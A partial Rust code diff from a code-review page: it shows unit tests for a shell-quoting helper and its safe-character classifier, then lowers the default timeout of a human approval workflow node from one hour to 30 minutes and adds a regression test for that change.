assert_eq!(shell_quote("a < b"), "'a < b'");
|
||||
assert_eq!(shell_quote("{1,2}"), "'{1,2}'");
|
||||
// `!` 与 `*` 均非安全 → 整体单引号包裹
|
||||
assert_eq!(shell_quote("!*"), "'!*'");
|
||||
assert_eq!(shell_quote("file*"), "'file*'");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_shell_safe_char_classification() {
|
||||
// 安全
|
||||
for c in ['a', 'Z', '0', '9', '/', '.', '_', '-', ':', '+', '@', ','] {
|
||||
assert!(is_shell_safe_char(c), "{:?} 应判定为安全", c);
|
||||
}
|
||||
// 不安全(shell 元字符 / 空白 / 引号 / 元字符)
|
||||
for c in [
|
||||
' ', '\t', '\n', '"', '\'', '`', '$', ';', '|', '&', '<', '>', '(', ')',
|
||||
'{', '}', '!', '#', '~', '*', '?', '[', ']', '=',
|
||||
] {
|
||||
assert!(!is_shell_safe_char(c), "{:?} 应判定为不安全", c);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -13,6 +13,10 @@ use df_types::events::{SelectType, WorkflowEvent};
|
||||
#[allow(unused_imports)]
|
||||
use crate::human_node_helpers::{contains_reject, is_reject_decision};
|
||||
|
||||
/// 默认审批超时(秒)。
|
||||
/// 1800s = 30min,合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 1800;
|
||||
|
||||
/// 人工审批节点(阻塞节点)
|
||||
pub struct HumanNode;
|
||||
|
||||
@@ -36,9 +40,10 @@ impl Node for HumanNode {
|
||||
.collect())
|
||||
.unwrap_or_else(|| vec!["同意".into(), "拒绝".into()]);
|
||||
|
||||
// 默认 1800s(30min):合理审批窗口。原 3600s(1h)过长,用户忘关致任务挂 1h。
|
||||
let timeout_secs = config.get("timeout_secs")
|
||||
.and_then(|v| v.as_u64())
|
||||
.unwrap_or(3600);
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
// 解析 select_type(缺省 Single,向后兼容)。非 "multiple" 一律按 Single 处理。
|
||||
let select_type = match config.get("select_type").and_then(|v| v.as_str()) {
|
||||
@@ -830,4 +835,11 @@ mod tests {
|
||||
assert!(contains_reject(&["同意".into()]) == false);
|
||||
assert!(contains_reject(&["同意".into(), "拒绝".into()]) == true);
|
||||
}
|
||||
|
||||
/// 默认审批超时 1800s(30min)。
|
||||
/// 回归保护:防止有人无意改回 3600s(1h 过长,用户忘关致任务挂 1h)。
|
||||
#[test]
|
||||
fn default_timeout_is_1800_secs() {
|
||||
assert_eq!(DEFAULT_TIMEOUT_SECS, 1800, "默认审批超时应为 1800s(30min)");
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user